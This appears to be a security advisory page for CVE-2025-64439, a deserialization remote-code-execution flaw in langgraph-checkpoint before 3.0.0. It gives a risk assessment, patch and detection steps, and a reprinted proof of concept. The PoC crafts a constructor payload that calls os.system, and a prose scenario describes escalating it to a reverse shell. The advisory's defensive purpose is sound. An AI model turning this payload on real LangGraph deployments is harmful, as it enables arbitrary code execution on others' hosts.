CVE-2025-64439: langgraph-checkpoint: Deserialization enables RCE

GHSA-wwqv-p2pp-99h5 HIGH PoC AVAILABLE CISA: TRACK*
Published November 5, 2025
CISO Take

Any LangGraph-based agent or application that persists user-supplied data to checkpoints is vulnerable to full remote code execution with application-level privileges. The PoC is public, the attack requires only normal application interaction, and the fix is a drop-in upgrade with no breaking changes. Patch to langgraph-checkpoint 3.0.0 today — this is not optional.

Risk Assessment

HIGH. Exploitability is moderate: the attacker must influence checkpoint state, but any agentic app accepting user input qualifies as an attack surface. Impact is critical — arbitrary OS command execution in the context of the running Python process. Public PoC lowers the bar significantly. EPSS of 0.008 reflects low current exploitation, but expect rapid escalation now that the advisory and PoC are public. Organizations running LangGraph in production should treat this as an active incident until patched.

Affected Systems

Package Ecosystem Vulnerable Range Patched
langgraph-checkpoint pip < 3.0.0 3.0.0
31.1K 3.1K dependents Pushed 6d ago 100% patched ~3d to patch Full package profile →

Do you use langgraph-checkpoint? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
1.1%
chance of exploitation in 30 days
Higher than 78% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Recommended Action

5 steps
  1. PATCH IMMEDIATELY

    Upgrade langgraph-checkpoint to 3.0.0 — fully backward compatible, no import changes required.

  2. If using langgraph-api, upgrade to 0.5+ which enforces the patched checkpointer.

  3. SHORT-TERM WORKAROUND (if patching is delayed): Remove all user-controlled data from LangGraph state fields; sanitize or reject inputs containing Unicode surrogates (\uD800–\uDFFF range) at the application boundary before they reach agent nodes.

  4. DETECTION

    Audit checkpoint storage backends (SQLite, Redis, PostgreSQL) for payloads containing JSON keys 'lc', 'type':'constructor', or 'id' arrays pointing to OS or subprocess modules. Monitor Python processes running LangGraph for unexpected child process spawning or outbound connections.

  5. INVENTORY

    Enumerate all LangGraph deployments including internal tools, developer assistants, and custom agents — not just customer-facing products.

CISA SSVC Assessment

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity for high-risk AI systems
ISO 42001
A.10.5 - AI supply chain
NIST AI RMF
MANAGE 2.2 - Mechanisms are in place and applied to sustain the value of deployed AI systems
OWASP LLM Top 10
LLM03 - Supply Chain

Frequently Asked Questions

What is CVE-2025-64439?

Any LangGraph-based agent or application that persists user-supplied data to checkpoints is vulnerable to full remote code execution with application-level privileges. The PoC is public, the attack requires only normal application interaction, and the fix is a drop-in upgrade with no breaking changes. Patch to langgraph-checkpoint 3.0.0 today — this is not optional.

Is CVE-2025-64439 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-64439, increasing the risk of exploitation.

How to fix CVE-2025-64439?

1. PATCH IMMEDIATELY: Upgrade langgraph-checkpoint to 3.0.0 — fully backward compatible, no import changes required. 2. If using langgraph-api, upgrade to 0.5+ which enforces the patched checkpointer. 3. SHORT-TERM WORKAROUND (if patching is delayed): Remove all user-controlled data from LangGraph state fields; sanitize or reject inputs containing Unicode surrogates (\uD800–\uDFFF range) at the application boundary before they reach agent nodes. 4. DETECTION: Audit checkpoint storage backends (SQLite, Redis, PostgreSQL) for payloads containing JSON keys 'lc', 'type':'constructor', or 'id' arrays pointing to OS or subprocess modules. Monitor Python processes running LangGraph for unexpected child process spawning or outbound connections. 5. INVENTORY: Enumerate all LangGraph deployments including internal tools, developer assistants, and custom agents — not just customer-facing products.

What systems are affected by CVE-2025-64439?

This vulnerability affects the following AI/ML architecture patterns: Agent frameworks, Multi-turn conversational agents, Stateful agentic pipelines, RAG pipelines with LangGraph, Agentic workflow orchestration, Tool-calling agents with persistent state, LangGraph Cloud and self-hosted langgraph-api deployments.

What is the CVSS score for CVE-2025-64439?

No CVSS score has been assigned yet.

Technical Details

NVD Description

# Summary Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode. If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization. Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode. If you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. # Details **Affected file / component** [jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py) By default, the serializer attempts to use `"msgpack"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the `"json"` mode. When operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == "constructor"`) for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load. --- # Who is affected This issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who: 1. Allow untrusted or user-supplied data to be persisted into checkpoints, and 2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `"json"` mode. If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced. # Proof of Concept (PoC) ```python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver class State(TypedDict): foo: str attack: dict def my_node(state: State): return {"foo": "oops i fetched a surrogate \ud800"} with SqliteSaver.from_conn_string("foo.db") as saver: graph = ( StateGraph(State). add_node("my_node", my_node). add_edge("__start__", "my_node"). compile(checkpointer=saver) ) attack = { "lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, } malicious_payload = { "attack": attack, } thread_id = "00000000-0000-0000-0000-000000000001" config = {"thread_id": thread_id} # Malicious payload is saved in the first call graph.invoke(malicious_payload, config=config) # Malicious payload is deserialized and code is executed in the second call graph.invoke({"foo": "hi there"}, config=config) ``` Running this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution. Internally, this exploits the following code path: ```python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer serializer = JsonPlusSerializer() # Used within the checkpointer serialized = serializer.dumps_typed(malicious_payload) serializer.loads_typed(serialized) # Executes os.system(...) ``` --- # Fixed Version The vulnerability is fixed in **`langgraph-checkpoint==3.0.0`** Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0 --- # Fix Description The fix introduces an **allow-list** for constructor deserialization, restricting permissible `"id"` paths to explicitly approved module/class combinations provided at serializer construction. Additionally, saving payloads in `"json"` format has been deprecated to remove this unsafe fallback path. --- # Mitigation Upgrade immediately to `langgraph-checkpoint==3.0.0`. This version is fully compatible with `langgraph>=0.3` and does **not** require any import changes or code modifications. In `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.

Exploitation Scenario

An attacker interacts with a LangGraph-based enterprise AI assistant accepting free-text input. Step 1: The attacker sends a message that causes a LangGraph node to produce a state value containing a Unicode surrogate character (e.g., by exploiting predictable node behavior or social engineering the expected output). msgpack serialization fails silently and falls back to JSON mode — the checkpoint is now stored in the vulnerable format. Step 2: The attacker sends a follow-up turn embedding a crafted payload in their input: a JSON constructor object with id pointing to os.system or subprocess.Popen and kwargs containing a reverse shell command. On the next graph invocation, the checkpoint is deserialized, the constructor is executed, and the attacker achieves shell access to the host running the LangGraph application. No special privileges, credentials, or AI expertise are required — only the ability to send two sequential messages to the target application.

Timeline

Published
November 5, 2025
Last Modified
November 7, 2025
First Seen
March 24, 2026

Related Vulnerabilities